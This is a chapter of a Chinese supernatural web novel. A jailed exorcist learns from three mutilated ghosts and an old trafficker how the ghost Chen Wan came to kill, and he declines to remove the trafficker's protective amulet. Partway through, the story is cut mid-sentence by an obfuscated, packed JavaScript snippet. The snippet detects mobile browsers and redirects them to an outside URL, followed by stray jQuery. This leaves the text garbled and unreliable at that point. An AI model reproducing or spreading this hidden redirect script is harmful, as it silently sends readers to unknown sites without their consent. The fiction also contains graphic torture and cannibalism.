尖锐诡异的声音在昏暗的牢笼回荡,“他成日向儿子编排陈婉的不是,说她抛下他们跟人跑了结果被骗去了青楼,说她活该,说她腌臜,说她是娼妓,不配为其母,让儿子不与她相认,阻止他们会面!” “儿子是救他被烧死的,陈婉只想烧死他!”没有眼睛的女人指着老罪囚。 “他将儿子的尸体伪装成他自己的——那个御鬼师教他的!陈婉以为他死了,以为自己大仇已报,以为儿子远走高飞自由了。她错了她错了!儿子被她烧死了!她好惨她好惨!她烧死了自己的儿子!她死后才知道!她好惨!” “他为了报复陈婉,他虐杀了我们!他虐杀了我们!哈哈哈哈哈!我们变成了这样、这样……他恶毒!他该死!亮儿……亮儿当时还这么小!”无眼的女人指着被开膛破肚的小男孩。 “陈婉死后才知道这一切,她更惨……她活着却比我们还苦!她杀了好多人……她干得好!她干得好!都该死!都该死!哈哈哈哈哈哈哈!” “哈哈哈哈哈哈!” “哈哈哈哈哈哈哈!” 三鬼尖锐地笑起来,小孩在笑、没有眼睛的女人在笑、被割了舌头的女人似乎也在笑,鲜血更加凶猛地从她嘴里涌出来。 门外的火光又开始愤怒地闪烁! 老罪囚还在滔滔不绝地向顾今安编造自己对陈婉的好,只字不提拐卖和虐杀之事,想博取顾今安的同情。 顾今安更信鬼说的,因为许多事都可以解释了: 这个老罪囚是个卖贼(注1),拐了陈婉先是美言相欺,生育一子,而后又对她始乱终弃,将其卖去青楼。期间还屡次虐待她,从这三个鬼的惨状可见这老罪囚的手法有多残忍,毫无人性可言。 所以有人说她憎恶负心之人。 这个老罪囚对她与儿子的会面屡加阻止,会面不顺,所以她每次探望儿子回去都郁郁寡欢,只有那次她以为自己手刃了仇人放儿子自由她才是高兴的。 她一直在谋划火烧这老罪囚之事,她给自己留了后路,所以她并未定居在这方便看望儿子的乌城,而是躲在小小的日拂城。 可她死后才知是她亲手烧死了儿子,并且牵连了与自己一同被拐卖之人被仇人报复虐杀,而真正的仇人却依旧活着,所以她死后又开始“探望儿子”了,每个月都来这乌城。 那她死后来这乌城所为何事?当真是与她儿子有关?还是与这三个鬼有关? 还是……她在策划杀了这个负心卖贼? 顾今安问老罪囚:“那之后呢?她放火烧你,你之后便没再去找她吗?” “呵,我后来才知她还杀了当时同我一齐做卖贼营生之人。”老罪囚道。 “是谁?何时杀了他?”顾今安印象中似乎并没有此事。 15.恶人偷生怨鬼空怨 “我这位友人啊……当年我们做完那桩生意便没再见过,后来听闻他行拐卖人妇之事被其夫察觉,被打折了腿,脑袋也负伤而记不清往事,落下痴傻的病根。钱财用去还赌债了,剩下的不多也被别人抢去了,流落街头做个乞丐。” 乞丐。 是传言陈老太与之结亲的乞丐? 老罪囚跪得有些累了,颤巍巍盘腿坐在地上,隔着铁栏杆对顾今安继续道:“他倒霉,在街头被陈婉撞见,而他正巧也不记得陈婉了。这女人心狠手辣,打着成亲的幌子将他带回家中,听说二人成亲后再无人见过我那友人,别人看不见她家中事,谁知她在做什么!都说这乞丐享福,只有我知道!他肯定罹难了!” “哈哈哈哈哈妙啊妙啊!”凌厉的女声嘲笑道,她嘴角几乎咧到耳朵上,一双血窟窿眼眶不断涌出血来,“陈婉做得好!就该把他捆起来,把他的大腿肉一刀一刀割下来,做成馄饨!喂给那些负心汉!喂给那些卖贼!” “哈哈哈哈哈!”小孩同她一起笑。割了舌头的女人咧着嘴从喉头发出可怖的咕噜声。 顾今安听他们一人/鬼一言,把事情拼凑了起来。 那个乞丐被陈婉假借成亲的名义带回家凌迟至死了,而且还把他的腿肉做成了馄饨。 顾今安沉默了好一会儿。 难怪厉鬼陈老太给她看中的该死之人吃了馄饨,而杀人的手段还是绑在树上割腿肉,这与她生前的虐杀手段相符。 “那场大火之后你为何没去找陈婉?你不想报放火杀子之仇吗?”顾今安试探地问老罪囚。 “我想!我怎会不想。这个女人蛇蝎心肠!我无时无刻不想杀了她!我想用最残忍的手法……我恨我当时没一起杀了她!”老罪囚愤怒说着,一手抓到铁栏杆上,手镣和铁栏碰撞发出尖锐狠戾的声音,他那张一半完好一半烧毁的脸比鬼还可怕,“但不用我出手,她已碾死于大棚之下!定是那些被她杀死之人做的——做鬼也要带她一起!” 顾今安想起了自己在陈老太面铺棚子上所看到的那些密密麻麻的恶鬼与猛鬼。 陈婉放火烧了青楼无人生还,而后又虐杀乞丐,还误杀儿子,钟姓富商的死也可能与她有关,诸般杀戮,其中定有不入轮回之人纠缠于她,虽皆是恶鬼猛鬼之流,可鬼数渐增,伤其性命也未尝不可能。 “我之后便再未见过她——那位御鬼师嘱咐我,要装死,莫再去寻她。我信这位救命恩人的良言。果不其然,陈婉死后成了鬼!听闻她常出没于街边仍做着面铺买卖,卖的依旧是馄饨……但她也再没来杀我,她是否仍认为我早已命丧大火?” 老罪囚仅剩的一只眼睛在牢笼里逡巡,“你方才说她在附近?她在这里?她现下可在此地?!” 陈婉不在这里。 顾今安并没有开口回答老罪囚的问题。 他想不通,老罪囚口中的那位御鬼师究竟扮演的是何角色?他当年就预料到陈婉会变成厉鬼吗? 若能知晓前因后果,预判厉鬼成型,那定然洞察力非凡,道行颇深——是哪位人物? “陈婉!你在这里吧!你为何不杀我?!呵!我有这护身符!你是怕了吧!你活该为鬼!你不入轮回!娼妓之身,有杀人纵火之恶胆,你内外皆污秽!”老罪囚对着空荡荡的牢狱用苍老沙哑的声音大喊大叫。 其实他也拿不准这个的护身符过去这么多年是否仍有效,毕竟身边还跟着鬼。他昏头昏脑挑衅陈婉,估计是老糊涂了。 “啊!!!!”无眼鬼气得尖叫,她扑上去想要掐住他的脖子,却在靠近的一瞬间被一股力量弹飞了几丈远,缥缈的身体穿过了铁栏杆落在了牢笼外的地上。 无舌鬼与小孩鬼对此无动于衷,似乎习以为常——习惯近不了老罪囚身,杀不得他。 顾今安却怔了一瞬。这个护身符很强。 无眼鬼又回来,围着老罪囚,煞气滔天,眼眶的血涌得更厉害了,衣襟一片鲜红,“都是你害的!若不是你!我四人岂会背井离乡,受尽你非人的虐待!沦落至此!陈婉、陈婉被你骗、被你欺得好惨!!” “她走到今日都是你逼的!我们也都是你逼的!你该死!该碎尸万段!你凭什么独活于世!凭什么!!我要杀了你!!!” 老罪囚自然是听不见她的怒骂,嘴头仍在对着不在场的陈婉叫嚣。 顾今安的目光落在老罪囚那个护身符上。 陈婉一个杀人无数的厉鬼,若死后知道自己憎恨之人尚在人世又怎会不来杀他? 莫不然这个御鬼师给的护身符还能防住厉鬼级别的? “我可否再看看你的护身符?”顾今安对老罪囚道。 那老罪囚以为是自己的谎话起了作用,博取了对面御鬼师对陈婉恶劣行迹的憎恶以及对自己的同情,当即看向他,又把护身符朝他递近了几分,“请看。” 顾今安的手一碰到那护身符就感到了其中所蕴含的无穷力量!绿色的光晕旋起漩涡在脏乱的牢房里狂驰,凛冽如刀! 在老罪囚的眼里虽只是对面人的长发无风自动,却也诡异万分,他顿时面露诧异之色。 顾今安皱眉看向那个护身符,很强,他感觉连他都被这护身符烫了一下。 这个护身符和牛七那个绝非出自同一人! 力量悬殊有如鸿沟! ——有两个做如此护身符的人。 牛七的护身符只能勉强抵挡怨鬼且绝不可能像方才那样把怨鬼掀飞数丈远,而这个护身符抵挡厉鬼也不在话下! 老罪囚这个护身符恐怕是宗师级御鬼师的手笔。 陈婉变成厉鬼后却还是动不了这老罪囚,十之八九就是因为这护身符。 “拿掉它。” “拿掉它。” “拿掉它。” “拿掉它!” “拿掉它!” “拿掉它!!!” “拿掉它!!!!” …… 三个鬼齐齐面向顾今安,在疯狂地重复这句话,声音越发尖锐急切。 门外的火光也在疯狂闪跳明灭!光影交织,变幻诡谲。 这护身符严重阻碍了这三个可怜怨鬼的复仇。 “拿掉它!!我们要杀了他!!被他掳走、被他害死,我们要杀了他!!” 顾今安捏着那护身符不置可否。 鬼是愤怒的、疯癫的、极端的、诡异的、难以捉摸的,有的人却比鬼还可怕。 因果轮回,黑白交织,善恶难辨。 这老罪囚泯灭人性,残忍嗜血,罪不容诛。陈婉选择了最狠戾的路来报复命途。 可这三个鬼呢?他们的容貌停留在花季,他们的身体残破不堪,难以想象他们生前所受的虐待何其残酷,他们想复仇。 “拿掉它!我叫你拿掉它!!啊啊啊啊啊!!” 顾今安常有不知所措的时候。 他的手捏着老罪囚脖子上挂着的护身符。 老罪囚那只浑浊的眼睛求助地看着他,身后的鬼还在教唆他取下这护身符。 顾今安沉默良久。 各自因缘。 这个护身符不是他给的,他不能取下来,他不能决定别人的生死。 顾今安松开了护身符。 “啊!!”身后的鬼知道了他的选择,顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15061644|161473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时愤然叫嚣,童音混着女声,尖锐刺耳: “去死去死去死去死去死去死去死去死去死去死去死去死去死去死去死去死去死去死去死去死去死去死去死去死去死去死去死去死去死去死去死去死……” 顾今安无视了如同诅咒一样的声音,问这老罪囚,“你还记得给你这枚护身符的御鬼师是何模样吗?” “模样……”老罪囚陷入沉思,“不记得了。好奇怪,想不起来了。” “你仔细想想,有何特征。”顾今安道。 老罪囚摇头,“我老了。只记得是个年轻男子。” 顾今安追问,“你记得他名姓吗?” “他并未告诉我他的名字。”老罪囚道。 所以,关于赠予老罪囚护身符之人的信息近乎于无。 “死去死去死死去死去死去死去死去死去死去死去死去死去死去死去死去死去死……”三个怨鬼还在诅咒着顾今安。 顾今安坐回那张布满污垢的硬床上。 老罪囚还在原位,维持着拿着护身符的姿势,茫然地看着顾今安,“何意?你不帮我吗?这护身符可还有效?” “看天意。”顾今安也并未告诉他那个护身符的强大。 “哈!天意!”老罪囚收起护身符也蹒跚地回到他的床铺,“我在这牢笼待了三十余载,你说天意……天意岂会眷顾我!” “又何必眷顾你?偷生几十载你该感恩戴德。”顾今安平淡道。 “你说什么?!” 顾今安没再理老罪囚,他把三个不停诅咒他的怨鬼打发走了。 他看得出来这三个鬼只一心想这老罪囚死,旁的也不会加害于人。他只让他们好好跟着那老罪囚,这人行将就木,他们总有能得尝所愿的一天。 老罪囚听懂了顾今安的话中意,见对方不理会自己,他便也不再言语,目光失神地在原地待了会儿,又悻悻然缩回床上,不知在想什么。 另一边那个疯癫的男人在他们对话时就已经呼呼大睡了。 相隔较远的囚徒蜷缩在黑暗里,偶尔传来铁链的沙沙声。 牢房里光影明灭,臭气和绝望在蔓延。 顾今安有些疲惫地闭眼。他在想这三个鬼和陈老太的遭遇,阴差阳错锒铛入狱却正巧知道了这么多,他收服陈老太已然有了些微把握,只需出狱找到她。 除此之外,他还在想护身符的事,在想那两位送出同一样式护身符的御鬼师究竟是什么来头。 这护身符……在袭击自己的猛鬼身上似乎也有一个,当时没看清,不知是否有联系。 不宁唯是,那位给这老罪囚护身符的御鬼师既然预料到陈老太会成为厉鬼,且拥有如此强大的力量,而今却放任陈老太游走人间,是他中间发生了什么变故吗?或者他另有打算?也或许他已不在人间?毕竟已距今四十三年。 他还在想那场害他入狱的大火是否也和陈老太有关?此事何时才能水落石出,让自己沉冤昭雪,得以出狱? 出狱……他已经来这牢狱整整一日,现下应该正是丑时,不知薛戬如何,有拿到自己留给他的东西顺利出城吗? 不管如何想,等官府查清楚城中纵火一事估计还需要些时日,衙役又不信他说的,只能等他们自己查真凶了。也还不清楚那日薛戬巡查火场遗迹是否有收获。 自己出狱后还能……再见到他吗? 正想着,他门前蓦地传来了铁锁碰撞的声音。 他睁眼看去,一个高大的狱卒正在开他的门。 “你……” 一张英俊的脸从衙役的官帽下露了出来,食指举到唇边示意他安静。